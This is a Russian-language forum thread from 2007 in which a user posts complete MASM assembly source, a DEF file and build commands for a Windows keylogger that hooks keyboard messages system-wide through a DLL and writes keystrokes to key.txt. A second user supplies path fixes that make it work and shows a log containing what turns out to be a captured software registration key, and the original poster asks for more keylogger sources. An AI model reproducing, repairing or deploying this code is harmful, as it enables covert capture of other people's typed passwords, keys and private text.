Кейлоггер

Тема в разделе "WASM.BEGINNERS", создана пользователем vg, 20 дек 2007.

  1. vg

    vg New Member

    Публикаций:
    0
    Регистрация:
    16 апр 2007
    Сообщения:
    475
    Нашёл исходники простого кейлоггера.

    work.asm
    Код (Text):
    1. .386p
    2. .model flat,stdcall
    3. option casemap:none
    4.  
    5. includelib masm32\lib\user32.lib
    6. includelib masm32\lib\kernel32.lib
    7. includelib masm32\lib\gdi32.lib
    8. includelib masm32\lib\advapi32.lib
    9. include masm32\include\windows.inc
    10.  
    11. LoadLibraryA PROTO :DWORD
    12. LoadLibraryW PROTO :DWORD
    13. LoadLibrary equ <LoadLibraryA>
    14. GetProcAddress PROTO :DWORD,:DWORD
    15. ExitProcess PROTO :DWORD
    16.  
    17. .data
    18. DLL db "Hook",0
    19. FileName db "Hook.dll",0
    20. NameProc1 db "InstallHook",0
    21. .data?
    22. hInstance dd ?
    23. hHook dd ?
    24. hDLL dd ?
    25. .code
    26. start:
    27. push offset FileName
    28. call LoadLibrary;загружаем hook.dll в адресное пространство
    29. mov hDLL,eax;сохраняем описатель DLL
    30. push offset NameProc1
    31. push hDLL
    32. call GetProcAddress
    33. push 12
    34. call eax;устанавливаем хук
    35. push 0
    36. call ExitProcess
    37. end start
    hook.dll
    Код (Text):
    1. .386
    2. .model flat,stdcall
    3. option casemap:none
    4.  
    5. includelib \masm32\lib\user32.lib
    6. includelib \masm32\lib\kernel32.lib
    7. includelib \masm32\lib\gdi32.lib
    8. includelib \masm32\lib\advapi32.lib
    9. include \masm32\include\windows.inc
    10.  
    11. GetWindowsDirectoryA PROTO :DWORD,:DWORD
    12. GetWindowsDirectoryW PROTO :DWORD,:DWORD
    13. GetWindowsDirectory equ <GetWindowsDirectoryA>
    14. lstrcatA PROTO :DWORD,:DWORD
    15. lstrcatW PROTO :DWORD,:DWORD
    16. lstrcat equ <lstrcatA>
    17. LoadLibraryA PROTO :DWORD
    18. LoadLibraryW PROTO :DWORD
    19. LoadLibrary equ <LoadLibraryA>
    20. SetWindowsHookExA PROTO :DWORD,:DWORD,:DWORD,:DWORD
    21. SetWindowsHookExW PROTO :DWORD,:DWORD,:DWORD,:DWORD
    22. SetWindowsHookEx equ <SetWindowsHookExA>
    23. CreateFileA PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
    24. CreateFileW PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
    25. CreateFile equ <CreateFileA>
    26. SetFilePointer PROTO :DWORD,:DWORD,:DWORD,:DWORD
    27. WriteFile PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD
    28. CloseHandle PROTO :DWORD
    29. CallNextHookEx PROTO :DWORD,:DWORD,:DWORD,:DWORD
    30.  
    31. .data
    32. LogFile db "\key.txt",0
    33. hNum db 2
    34. FileName db "\hook.dll",0
    35. Patch1 db 255 dup (0)
    36. Patch2 db 255 dup (0)
    37.  
    38. .data?
    39. hFile dd ?
    40. hInstance dd ?
    41. hHook dd ?
    42. hWnd dd ?
    43. buffer dd ?
    44. .code
    45. DllEntry proc hInst:HINSTANCE, reason:DWORD, reserved1:DWORD
    46. .if reason==DLL_PROCESS_ATTACH
    47. push hInst
    48. pop hInstance
    49.  
    50. push 255
    51. push offset Patch2
    52. call GetWindowsDirectory
    53. push offset FileName
    54. push offset Patch2;Patch1 - LogName
    55. call lstrcat
    56.  
    57. push offset Patch2
    58. call LoadLibrary
    59.  
    60. push 255
    61. push offset Patch1
    62. call GetWindowsDirectory
    63. push offset LogFile
    64. push offset Patch1
    65. call lstrcat; В Patch1 – имя файла лога
    66. push 2
    67. call InstallHook;инсталлируем хук в DLL
    68. .endif
    69. mov eax,TRUE
    70. ret 12
    71. DllEntry Endp
    72.  
    73. InstallHook proc
    74. push ebp
    75. mov ebp,esp
    76. push ebx
    77. push esi
    78. push edi
    79.  
    80. push dword ptr [ebp+08h]
    81. pop hWnd
    82. push 0
    83. push hInstance
    84. push HookProc
    85. push WH_GETMESSAGE
    86. call SetWindowsHookEx
    87. mov hHook,eax
    88.  
    89. pop edi
    90. pop esi
    91. pop ebx
    92. pop ebp
    93. ret 4
    94. InstallHook endp
    95. HookProc proc;процедура перехвата
    96. push ebp
    97. mov ebp,esp
    98. push ebx
    99. push esi
    100. push edi
    101.  
    102. mov esi,dword ptr [ebp+10h]
    103. add esi,4
    104. cmp dword ptr [esi],WM_CHAR
    105. jne x
    106. push 0
    107. push FILE_ATTRIBUTE_NORMAL
    108. push OPEN_ALWAYS
    109. push 0
    110. push 0
    111. push GENERIC_WRITE
    112. push offset Patch1
    113. call CreateFile ;открываем наш лог файл для записи в него очередной нажатой клавиши
    114. push eax
    115. pop hFile
    116.  
    117. push FILE_END
    118. push 0
    119. push 0
    120. push hFile
    121. call SetFilePointer;ставим указатель в файле на конец
    122.  
    123. add esi,4
    124. mov eax,dword ptr [esi]
    125. mov buffer,eax;в переменной buffer – код нажатой клавиши
    126.  
    127. push 0
    128. push offset hNum
    129. push 2
    130. push offset buffer
    131. push hFile
    132. call WriteFile;пишем код нажатой клавиши в конец файла
    133. push hFile
    134. call CloseHandle;закрываем файл
    135.  
    136. push [ebp+10]
    137. push [ebp+0Ch]
    138. push [ebp+8]
    139. push hHook
    140. call CallNextHookEx;после нашей обработки можно передать сообщение проге для которой оно предназначалось
    141. x:
    142. pop edi
    143. pop esi
    144. pop ebx
    145. pop ebp
    146. ret 12
    147. HookProc endp
    148. End DllEntry
    Содержимое DEF-файла для DLL:
    Код (Text):
    1. LIBRARY Hook
    2. EXPORTS HookProc
    3. EXPORTS InstallHook
    Компиляция
    Exe:
    Код (Text):
    1. masm32\bin\ml.exe /c /coff work.asm
    2. masm32\bin\link.exe /SUBSYSTEM:WINDOWS work.obj
    Dll:
    Код (Text):
    1. masm32\bin\ml.exe /c /coff dll.asm
    2. masm32\bin\link.exe /DLL /SUBSYSTEM:WINDOWS /DEF:dll.def /LIBPATH:f:\tools\masm32\lib dll.obj
    Файл hook.dll должен находиться в папке Windows. Work.exe загружает hook.dll.
    В процессе работы должен создаваться файл лога – key.txt, но файл не создаётся.
    Кто-нибудь видит ошибку?

    P.S. Может у кого-нибудь есть другие исходники кейлоггеров? Было бы интересно взглянуть.
     
  2. k3internal

    k3internal New Member

    Публикаций:
    0
    Регистрация:
    11 янв 2007
    Сообщения:
    607
    Скока раз говорилось, отладчик в зубы и фперёд!
     
  3. Hmm

    Hmm New Member

    Публикаций:
    0
    Регистрация:
    22 ноя 2006
    Сообщения:
    162
    Товарисч vg . Проверьте параметры компиляции .У меня все создается и работает .
    Пути к инклудам&либам(masm32\lib\ ? ) , параметры batников . Замени
    LogFile db "\key.txt",0
    FileName db "\hook.dll",0
    на
    LogFile db "C:\key.txt",0
    FileName db "%systemroot%\hook.dll",0

    Outpost ругается при попытке установки dll в каждый процесс . Лог создается .
    Другой вопрос , что в key.txt пишется какой-то мусор . Типа этого

    0OM0q3DX3QVg3KuBgcamG19Wc5KIW+D2pDvq2wRL
    Am8tI6QxXc0+F8s97EHos3ppvBSSb//rFiLVdLmi
    G3t9b2LyIAPfOK+q3CbpSnZW/4/kUZm1CrYeyzae
    N1JUlots9KpEUVoNK6kpB3QoKlA0Fjf1eUKuKAwJ
    u59ED2RstWnvHAbeOO+RvSLMxVt54ov4uQR7Q

    Судя по всему , то ли неперекодированный правильно , то ли просто бред . В коде dll есть кусок :

    push FILE_END
    push 0
    push 0
    push hFile
    call SetFilePointer;ставим указатель в файле на конец

    add esi,4
    mov eax,dword ptr [esi]
    mov buffer,eax;в переменной buffer – код нажатой клавиши

    Откуда в esi указатель на код нажатой клавиши , я не догоняю . Никто не знает ?
     
  4. censored

    censored New Member

    Публикаций:
    0
    Регистрация:
    5 июл 2005
    Сообщения:
    1.615
    Адрес:
    деревня "Анонимные Прокси"
    Мусор смахивает на код для регистрации аутпоста :)
     
  5. xin551

    xin551 New Member

    Публикаций:
    0
    Регистрация:
    17 дек 2007
    Сообщения:
    38
    нук сохраним код..=)
     
  6. Hmm

    Hmm New Member

    Публикаций:
    0
    Регистрация:
    22 ноя 2006
    Сообщения:
    162
    :b
    "А . Тогда понятно , почему яхта пустила корни. "(C)Врунгель .
    Там действительно был ключ для outpost :\
     
  7. HuXTUS

    HuXTUS New Member

    Публикаций:
    0
    Регистрация:
    8 янв 2007
    Сообщения:
    240
    Щас кого-то за варез бить будут )))
     
  8. vg

    vg New Member

    Публикаций:
    0
    Регистрация:
    16 апр 2007
    Сообщения:
    475
    А как насчёт других исходников? Ни у кого нет?
     
  9. censored

    censored New Member

    Публикаций:
    0
    Регистрация:
    5 июл 2005
    Сообщения:
    1.615
    Адрес:
    деревня "Анонимные Прокси"
    на сайте есть. в гугле тоже есть.